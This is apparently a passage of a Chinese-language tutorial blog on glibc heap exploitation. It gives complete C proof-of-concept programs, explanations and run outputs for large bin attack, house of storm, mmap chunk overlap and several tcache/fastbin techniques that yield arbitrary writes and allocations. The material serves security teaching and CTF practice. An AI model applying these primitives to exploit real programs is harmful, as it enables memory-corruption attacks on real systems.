fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);

return 0;
}

最后的实现结果和unsortedbin差不多,将一个地址的值改成很大的数

首先创建了两个栈上变量(下图的1和2标反了。。)

接下来创建了p1(0x420), p2(0x500), p3(0x500),每个p中间都放了一个0x20,这个0x20的作用是为了防止合并

释放p1和p2

创建了一个0x90大小的堆块,这里记为p4,创建了0x90大小的堆块会将p1给分割,p1剩余的还是进入unsortedbin,p2因为大小在large bin范围内所以会进入large bin。

接下来释放p3,p3会进入unsorted bin中

现在假设有一个漏洞可以改p2的size bk bknext_size,bk指向的是它的后一个被释放chunk的头指针,bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块的头指针

此时p2的bk = stack_var1 - 0x10,bknext_size为stack_var2 - 0x20,再次创建一个0x90大小的堆。

1
2
3
4
P3->fd_nextsize = P2;  //P3的fd_nextsize要修改成P2的头指针
P3->bk_nextsize = P2->bk_nextsize; //P3的bk_nextsize要修改成P2的bk_nextsize指向的地址
P2->bk_nextsize = P3; //P2的bk_nextsize要修改成P3的头指针
P3->bk_nextsize->fd_nextsize = P3; //P3的bk_nextsize所指向的堆块的fd_nextsize要修改成P3的头指针

最后stack_var1和stack_var2的值已经变成了p3的头指针

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
This file demonstrates large bin attack by writing a large unsigned long value into stack
In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the targets we want to rewrite on stack:
stack_var1 (0x7fffffffdd30): 0
stack_var2 (0x7fffffffdd28): 0

Now, we allocate the first large chunk on the heap at: 0x55555555c000
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the first large chunk during the free()

Then, we allocate the second large chunk on the heap at: 0x55555555c460
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the second large chunk during the free()

Finally, we allocate the third large chunk on the heap at: 0x55555555c9a0
And allocate another fastbin chunk in order to avoid consolidating the top chunk with the third large chunk during the free()

We free the first and second large chunks now and they will be inserted in the unsorted bin: [ 0x55555555c460 <--> 0x55555555c000 ]

Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation, and reinsert the remaining of the freed first large chunk into the unsorted bin: [ 0x55555555c0a0 ]

Now, we free the third large chunk and it will be inserted in the unsorted bin: [ 0x55555555c9a0 <--> 0x55555555c0a0 ]

Now emulating a vulnerability that can overwrite the freed second large chunk's "size" as well as its "bk" and "bk_nextsize" pointers
Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set "bk" to 16 bytes before stack_var1 and "bk_nextsize" to 32 bytes before stack_var2

Let's malloc again, so the freed third large chunk being inserted into the large bin freelist. During this time, targets should have already been rewritten:
stack_var1 (0x7fffffffdd30): 0x55555555c9a0
stack_var2 (0x7fffffffdd28): 0x55555555c9a0

house_of_storm(unsorted bin attack + large bin attack)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler[0x10];
char target[0x60];

void init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
// clearenv();
}

// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int get_shift_amount(char* pointer){

int shift_amount = 0;
long long ptr = (long long)pointer;

while(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}

return shift_amount - 1; // Want amount PRIOR to this being zeroed out
}

int main(){

init();

char *unsorted_bin, *large_bin, *fake_chunk, *ptr;

puts("House of Storm");
puts("======================================");
puts("Preparing chunks for the exploit");
puts("Put one chunk into unsorted bin and the other into the large bin");
puts("The unsorted bin chunk MUST be larger than the large bin chunk.");
/*
Putting a chunk into the unsorted bin and another
into the large bin.
*/
unsorted_bin = malloc ( 0x4e8 ); // size 0x4f0

// prevent merging
malloc ( 0x18 );

puts("Find the proper chunk size to allocate.");
puts("Must be exactly the size of the written chunk from above.");
/*
Find the proper size to allocate
We are using the first 'X' bytes of the heap to act
as the 'size' of a chunk. Then, we need to allocate a
chunk exactly this size for the attack to work.
So, in order to do this, we have to take the higher
bits of the heap address and allocate a chunk of this
size, which comes from the upper bytes of the heap address.
NOTE:
- This does have a 1/2 chance of failing. If the 4th bit
of this value is set, then the size comparison will fail.
- Without this calculation, this COULD be brute forced.
*/
int shift_amount = get_shift_amount(unsorted_bin);
printf("Shift Amount: %d\n", shift_amount);

size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
if(alloc_size < 0x10){
printf("Chunk Size: 0x%lx\n", alloc_size);
puts("Chunk size is too small");
exit(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits
printf("In this case, the chunk size is 0x%lx\n", alloc_size);


// Checks to see if the program will crash or not
/*
The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.
Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
validates to see if ONE of the following cases is true:
- av == arena_for_chunk (mem2chunk (mem))
- chunk is mmaped
If the 'non-main arena' bit is set on the chunk, then the
first case will fail.
If the mmap bit is set, then this will pass.

So, either the arenas need to match up (our fake chunk is in the
.bss section for this demo. So, clearly, this will not happen) OR
the mmap bit must be set.
The logic below validates that the fourth bit of the size
is NOT set and that either the mmap bit is set or the non-main
arena bit is NOT set. If this is the case, the exploit should work.
*/
if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts("Allocation size has bit 4 of the size set or ");
puts("mmap and non-main arena bit check will fail");
puts("Please try again! :)");
puts("Exiting...");
return 1;

}

large_bin = malloc ( 0x4d8 ); // size 0x4e0
// prevent merging
malloc ( 0x18 );

// FIFO
free ( large_bin ); // put small chunks first
free ( unsorted_bin );

// Put the 'large bin' chunk into the large bin
unsorted_bin = malloc(0x4e8);
free(unsorted_bin);

/*
At this point, there is a single chunk in the
large bin and a single chunk in the unsorted bin.
It should be noted that the unsorted bin chunk
should be LARGER in size than the large bin chunk
but should still be within the same bin.
In this setup, the large_bin has a chunk
of size 0x4e0 and the unsorted bin
has a chunk of size 0x4f0. This technique relies on
the unsorted bin chunk being added to the same bin
but a larger chunk size. So, careful heap feng shui
must be done.
*/

// The address that we want to write to!
fake_chunk = target - 0x10;

puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator");

/*
The address of our fake chunk is set to the unsorted bin
chunks 'bk' pointer.
This launches the 'unsorted_bin' attack but it is NOT the
main purpose of us doing this.
After launching the 'unsorted_bin attack' the 'victim' pointer
will be set to THIS address. Our goal is to find a way to get
this address from the allocator.
Vulnerability!!
*/
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk

// Only needs to be a valid address.
(( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->fd

puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location");
puts("of your fake chunk.");
puts("Misalign the location in order to use the primitive as a SIZE value.");
puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).");
puts("Vulnerability #2!");
puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at.");
/*
This can be seen as a WRITE-WHERE primitive in the large bin.
However, we are going to write a 'size' for our fake chunk using this.
So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
to an address for our fake size. The write above (bk_nextsize) is
controlled via the pointer we are going to overwrite below. The
value that gets written is a heap address; the unsorted bin
chunk address above.
The 'key' to this is the offset. First, we subtract 0x18 because
this is the offset to writting to fd_nextsize in the code shown
above. Secondly, notice the -2 below. We are going
to write a 'heap address' at a mis-aligned location and
use THIS as the size. For instance, if the heap address is 0x123456
and the pointer is set to 0x60006. This will write the following way:
- 0x60006: 0x56
- 0x60007: 0x34
- 0x60008: 0x12
Now, our 'fake size' is at 0x60008 and is a valid size for the
fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
from the allocator.
Second vulnerability!!!
*/
(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize


/*
At this point, we've corrupted everything in just the right
way so this should work.
The purpose of the attack is to have a corrupted 'bk' pointer
point to ANYWHERE we want and still get the memory back. We do
this by using the large bin code to write a size to the 'bk'
location.
This call to malloc (if you're lucky), will return a pointer
to the fake chunk that we created above.
*/


puts("Make allocation of the size that the value will be written for.");
puts("Once the allocation happens, the madness begins");
puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to ");
puts("write a fake 'size' value to the location of our target.");
puts("After this, the target will have a valid size.");
puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid");
puts("size and remove it from the bin.");
puts("With this, we have pulled out an arbitrary chunk!");

printf("String before: %s\n", target);
printf("String pointer: %p\n", target);

ptr = malloc(alloc_size);
strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);

printf("String after %s\n", target);
printf("Fake chunk ptr: %p\n", ptr);

return 0;
}

几乎等于unsorted bin attack + large bin attack。调试的时候关掉aslr和pie,不然的话会失败。即然都说了unsortedbin和large bin,所以先创建unsorted bin大小为0x4e0,检查该chunk的地址最高非0位的值x,判断x是否小于0x10,小于0则失败。注意这里的bin用unsorted bin和large bin来表示就不再用正常的bin和释放之后对应的bin。

然后x的最低4位进行判断,申请一个large bin。然后释放large bin,和unsorted bin其中chunk与chunk之间放入0x18大小的堆,为了防止合并。

申请0x4e8,这个是为了让large bin进入large bin,再申请unsorted bin,并释放掉使得真正变成unsortedbin

改两个bin的bk到target附近,其中large bin的bk_next_size也改掉,最后申请过去就可以看到target已经被控制了。

house_of_storm可能有点meng,结合题目来练习是个不错的选择,运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
House of Storm
======================================
Preparing chunks for the exploit
Put one chunk into unsorted bin and the other into the large bin
The unsorted bin chunk MUST be larger than the large bin chunk.
Find the proper chunk size to allocate.
Must be exactly the size of the written chunk from above.
Shift Amount: 2
In this case, the chunk size is 0x30
Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.
This is our target location to get from the allocator
Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location
of your fake chunk.
Misalign the location in order to use the primitive as a SIZE value.
The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).
Vulnerability #2!
Overwrite large bins bk->nextsize with the address to put our fake chunk size at.
Make allocation of the size that the value will be written for.
Once the allocation happens, the madness begins
Once in the unsorted bin, the 'large bin' chunk will be used in orer to
write a fake 'size' value to the location of our target.
After this, the target will have a valid size.
Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid
size and remove it from the bin.
With this, we have pulled out an arbitrary chunk!
String before:
String pointer: 0x4040a0
String after ABCDEFG
Fake chunk ptr: 0x4040a0

mmap_overlapping_chunks(mmap)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>

/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`
POC written by POC written by Maxwell Dulin (Strikeout)
*/
int main(){


int* ptr1 = malloc(0x10);

printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
printf("of memory, instead of being put onto the normal heap.\n");
puts("=======================================================\n");
printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");

long long* top_ptr = malloc(0x100000);
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

// After this, all chunks are allocated downwards in memory towards the heap.
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

long long* mmap_chunk_3 = malloc(0x100000);
printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);

printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);

printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");
printf("This will cause both chunks to be Munmapped and given back to the system\n");
printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");

// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
// Additionally, this same attack can be used with the prev_size instead of the size.
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

free(mmap_chunk_3);

printf("Get a very large chunk from malloc to get mmapped chunk\n");
printf("This should overlap over the previously munmapped/freed chunks\n");
long long* overlapping_chunk = malloc(0x300000);
printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);

// Gets the distance between the two pointers.
int distance = mmap_chunk_2 - overlapping_chunk;
printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);

// Set the value of the overlapped chunk.
printf("Setting the value of the overlapped chunk\n");
overlapping_chunk[distance] = 0x1122334455667788;

// Show that the pointer has been written to.
printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}

注释太长了,这里删除了一些注释。此利用手法是针对于mmap申请的的堆块

创建了一个0x10的堆块,接下来连续创建了三个0x100000大小的堆块,由mmap分配,释放的话由munmap来释放

此时的地址如下,第一个块在libc上方,第二个块在libc下方第三个块低于第二个块。

1
2
3
The first mmap chunk goes directly above LibC: 0x7ffff7ef2010
The second mmap chunk goes below LibC: 0x7ffff790c010
The third mmap chunk goes below the second mmap chunk: 0x7ffff780b010

现在假设有一个漏洞可以改mmap3的size,使得mmap3的size包含了mmap2,并释放mmap3,再申请一个大块,此时mmap3 + mmap2是一个块,但是mmap2又是一个独立的块,原理和前面的overlapping一样。再写入值就可以看到mmap2那里被覆盖了。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).
Extremely large chunks are special because they are allocated in their own mmaped section
of memory, instead of being put onto the normal heap.
=======================================================

Allocating three extremely large heap chunks of size 0x100000

The first mmap chunk goes directly above LibC: 0x7f34ffb39010
The second mmap chunk goes below LibC: 0x7f34ff54d010
The third mmap chunk goes below the second mmap chunk: 0x7f34ff44c010

Current System Memory Layout
================================================
running program
heap
....
third mmap chunk
second mmap chunk
LibC
....
ld
first mmap chunk
===============================================

Prev Size of third mmap chunk: 0x0
Size of third mmap chunk: 0x101002

Change the size of the third mmap chunk to overlap with the second mmap chunk
This will cause both chunks to be Munmapped and given back to the system
This is where the vulnerability occurs; corrupting the size or prev_size of a chunk
New size of third mmap chunk: 0x202002
Free the third mmap chunk, which munmaps the second and third chunks

Get a very large chunk from malloc to get mmapped chunk
This should overlap over the previously munmapped/freed chunks
Overlapped chunk Ptr: 0x7f34ff34d010
Overlapped chunk Ptr Size: 0x301002
Distance between new chunk and the second mmap chunk (which was munmapped): 0x40000
Value of index 0 of mmap chunk 2 prior to write: 0
Setting the value of the overlapped chunk
Second chunk value (after write): 0x1122334455667788
Overlapped chunk value: 0x1122334455667788

Boom! The new chunk has been overlapped with a previous mmaped chunk

至此glibc2.23下的利用方式完,以后可能会进行更新

glibc_2.27

2.27和2.23最大的区别就是引入了一个tcache,但是为了追求性能的同时也少了很多的检测, 笔者认为2.27下的漏洞利用相对于2.23和2.27以上的是最方便的

fastbin_dup(double free)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}

printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);

printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

assert(a == c);
}

因为有tcache的存在,想使用fastbin attack都需要先填满对应的tcache。

创建三个chunk(a, b, c)使用的是calloc,而calloc不会从tcache中取。接着释放a,因为对应的tcache被填满了,所以a会进入fastbin。

同理b也会进入fastbin,再次释放a之后,就会形成double free。形成的原理还是因为fastbin中只检测了上一个和下一个。

申请abc此时通过fastbin的分配原理,a = c。利用就比2.23多了一个填满tcache。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
This file demonstrates a simple double-free attack with fastbins.
Fill up tcache first.
Allocating 3 buffers.
1st calloc(1, 8): 0x55555555b360
2nd calloc(1, 8): 0x55555555b380
3rd calloc(1, 8): 0x55555555b3a0
Freeing the first one...
If we free 0x55555555b360 again, things will crash because 0x55555555b360 is at the top of the free list.
So, instead, we'll free 0x55555555b380.
Now, we can free 0x55555555b360 again, since it's not the head of the free list.
Now the free list has [ 0x55555555b360, 0x55555555b380, 0x55555555b360 ]. If we malloc 3 times, we'll get 0x55555555b360 twice!
1st calloc(1, 8): 0x55555555b360
2nd calloc(1, 8): 0x55555555b380
3rd calloc(1, 8): 0x55555555b360

fastbin_dup_into_stack(分配到栈上)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");


fprintf(stderr,"Fill up tcache first.\n");

void *ptrs[7];

for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}


unsigned long long stack_var;

fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

//Calling free(a) twice renders the program vulnerable to Double Free

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = calloc(1,8);

fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
/*VULNERABILITY*/
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
/*VULNERABILITY*/

fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

void *p = calloc(1,8);

fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert(p == 8+(char *)&stack_var);
// assert((long)__builtin_return_address(0) == *(long *)p);
}

因为还是fastbin attack所以我们需要填满tcache。

接着使用calloc申请三个一样大小size的堆块,释放掉形成doble free。过程和上面的一样。

申请d,此时d就为a的那一块地址,再申请一次同大小的堆,此时的地址为b的地址。将d的fd改成栈上的一个伪造的堆那里,再申请两次就可以分配到目标地址。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
This file extends on fastbin_dup.c by tricking calloc into
returning a pointer to a controlled location (in this case, the stack).
Fill up tcache first.
The address we want calloc() to return is 0x7fffffffdcc0.
Allocating 3 buffers.
1st calloc(1,8): 0x55555555b340
2nd calloc(1,8): 0x55555555b360
3rd calloc(1,8): 0x55555555b380
Freeing the first one...
If we free 0x55555555b340 again, things will crash because 0x55555555b340 is at the top of the free list.
So, instead, we'll free 0x55555555b360.
Now, we can free 0x55555555b340 again, since it's not the head of the free list.
Now the free list has [ 0x55555555b340, 0x55555555b360, 0x55555555b340 ]. We'll now carry out our attack by modifying data at 0x55555555b340.
1st calloc(1,8): 0x55555555b340
2nd calloc(1,8): 0x55555555b360
Now the free list has [ 0x55555555b340 ].
Now, we have access to 0x55555555b340 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that calloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x55555555b340 to point right before the 0x20.
3rd calloc(1,8): 0x55555555b340, putting the stack address on the free list
4th calloc(1,8): 0x7fffffffdcc0

fastbin_reverse_into_tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
setbuf(stdout, NULL);

printf(
"\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n"
);

// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}

printf(
"First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n"
);

// Fill the tcache.
for (i = 0; i < 7; i++) {
free(ptrs[i]);
}

char* victim = ptrs[7];
printf(
"The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n",
victim
);
free(victim);

printf(
"Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n"
);

// Fill the fastbin.
for (i = 8; i < 14; i++) {
free(ptrs[i]);
}

// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));

printf(
"The stack address that we intend to target: %p\n"
"It's current value is %p\n",
&stack_var[2],
(char*)stack_var[2]
);

printf(
"Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n",
victim
);

//------------VULNERABILITY-----------

// Overwrite linked list pointer in victim.
*(size_t**)victim = &stack_var[0];

//------------------------------------

printf(
"The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
);

// Empty tcache.
for (i = 0; i < 7; i++) {
ptrs[i] = malloc(allocsize);
}

printf(
"Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n"
);

for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}

printf(
"\n"
"The next allocation triggers the stack to be overwritten. The tcache\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
"address that we are targeting ends up being the first chunk in the tcache.\n"
"It contains a pointer to the next chunk in the list, which is why a heap\n"
"pointer is written to the stack.\n"
"\n"
"Earlier we said that the attack will also work if we free fewer than 6\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
"That's because the value on the stack is treated as a next pointer in the\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
"\n"
"The contents of our array on the stack now look like this:\n\n"
);

malloc(allocsize);

for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}

char *q = malloc(allocsize);
printf(
"\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n",
q
);

assert(q == (char *)&stack_var[2]);

return 0;
}

分配14个0x40大小的堆块,并将tcache先填满。再将剩余的给放入fastbin中。

修改第一个放入fastbin中的chunk的fd为目标地址

将tcache清空,再申请的时候会从fastbin中取。然后将fastbin的chunk放入tcache中。

再申请的时候就会取出target的地址,实现任意地址申请。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
This attack is intended to have a similar effect to the unsorted_bin_attack,
except it works with a small allocation size (allocsize <= 0x78).
The goal is to set things up so that a call to malloc(allocsize) will write
a large unsigned value to the stack.

First we need to free(allocsize) at least 7 times to fill the tcache.
(More than 7 times works fine too.)

The next pointer that we free is the chunk that we're going to corrupt: 0x55555555b490
It doesn't matter if we corrupt it now or later. Because the tcache is
already full, it will go in the fastbin.

Next we need to free between 1 and 6 more pointers. These will also go
in the fastbin. If the stack address that we want to overwrite is not zero
then we need to free exactly 6 more pointers, otherwise the attack will
cause a segmentation fault. But if the value on the stack is zero then
a single free is sufficient.

The stack address that we intend to target: 0x7fffffffdc70
It's current value is 0xcdcdcdcdcdcdcdcd
Now we use a vulnerability such as a buffer overflow or a use-after-free
to overwrite the next pointer at address 0x55555555b490

The next step is to malloc(allocsize) 7 times to empty the tcache.

